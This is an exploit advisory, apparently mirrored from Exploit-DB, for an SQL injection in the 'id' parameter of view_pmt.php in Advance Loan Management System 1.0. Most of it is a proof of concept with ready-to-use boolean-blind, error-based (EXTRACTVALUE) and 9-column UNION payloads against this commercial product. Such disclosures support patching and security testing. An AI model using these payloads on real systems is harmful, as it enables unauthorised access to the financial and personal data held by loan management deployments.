Advance Loan Management System – ‘id’ SQL Injection

  • 作者: 8bitsec
    日期: 2018-02-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43943/
  • # Exploit Title: Advance Loan Management System - 'id' SQL Injection
    # Date: 2018-01-31
    # Exploit Author: 8bitsec
    # Vendor Homepage: https://codecanyon.net/
    # Software Link: https://codecanyon.net/item/advance-loan-management-system-with-savings-system-and-sms-notification/21283070
    # Version: 1.0
    # Tested on: [Kali Linux 2.0 | Mac OS 10.13.3]
    # Email: contact@8bitsec.io
    # Contact: https://twitter.com/_8bitsec
    
    Release Date:
    =============
    2018-01-31
    
    Product & Service Introduction:
    ===============================
    LMS – Make your Bank Loan Management easy LMS is a Modern and Responsive Loan management system.
    
    Technical Details & Description:
    ================================
    
    SQL injection on [id] parameter.
    
    Proof of Concept (PoC):
    =======================
    
    SQLi:
    
    https://localhost/[path]/view_pmt.php?id=9' AND 7768=7768 AND 'Vgmm'='Vgmm
    
    Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=9' AND 7768=7768 AND 'Vgmm'='Vgmm
    
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=9' AND EXTRACTVALUE(1999,CONCAT(0x5c,0x7162707071,(SELECT (ELT(1999=1999,1))),0x716b6a7171)) AND 'dJCx'='dJCx
    
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: id=-1179' UNION ALL SELECT NULL,NULL,CONCAT(0x7162707071,0x4c714c75756a7843774f4479627566597448726c6f51547a4d7a5766686345446b43587965626470,0x716b6a7171),NULL,NULL,NULL,NULL,NULL,NULL-- FLWW
    
    ==================
    8bitsec - [https://twitter.com/_8bitsec]